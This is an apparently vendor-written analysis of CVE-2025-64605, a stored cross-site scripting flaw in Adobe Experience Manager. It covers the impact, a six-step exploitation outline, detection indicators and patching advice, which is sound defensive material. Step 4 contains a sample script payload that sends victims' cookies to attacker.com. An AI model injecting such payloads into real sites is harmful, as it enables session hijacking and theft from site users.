CVE-2025-64605: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64605 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on the same date. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM; when a victim browses to the page containing the affected field, the script executes in their browser context. The attack vector is network-based, requires low privileges and user interaction, and has a changed scope, meaning the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or redirection to malicious sites. The confidentiality and integrity impacts are rated low, with no direct availability impact. Because AEM is commonly used as an enterprise content management platform, exploitation could affect a broad user base including administrators and content authors (Adobe Advisory).

1. Reconnaissance: Identify a target AEM instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible over the network.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author or contributor account).
3. Identify vulnerable form fields: Navigate to AEM pages or components that contain form fields susceptible to stored XSS — typically rich text editors, metadata fields, or custom form components.
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a victim (e.g., an administrator or another user) to browse to the page containing the injected field, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, enabling session hijacking or further unauthorized actions (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) containing encoded JavaScript tags (<script>, %3Cscript%3E, javascript:) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after loading AEM content pages, potentially carrying cookie or session data in query parameters.
• File System / Content Repository: Stored content nodes in the AEM JCR repository containing raw <script> tags or JavaScript event handlers (e.g., onerror, onload) in text or metadata properties.
• Browser: Unexpected redirects or pop-ups when authenticated users browse AEM-published pages; browser developer console errors related to cross-origin script execution.

Adobe has released patches addressing CVE-2025-64605 in AEM 6.5 Service Pack 6.5.24.0 and AEM Cloud Service release 2025.12.0. Organizations should upgrade AEM on-premises instances to version 6.5.24.0 or later, and ensure AEM Cloud Service environments are updated to the December 2025 release. As a temporary workaround, restrict content authoring access to trusted users only and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads in AEM form submissions (Adobe Advisory).

The Center for Internet Security (CIS) published an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including this XSS flaw, recommending prompt patching (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure (Tenable). No significant social media discussion or notable researcher commentary specific to CVE-2025-64605 has been observed, consistent with its medium severity rating and exploitation prerequisites.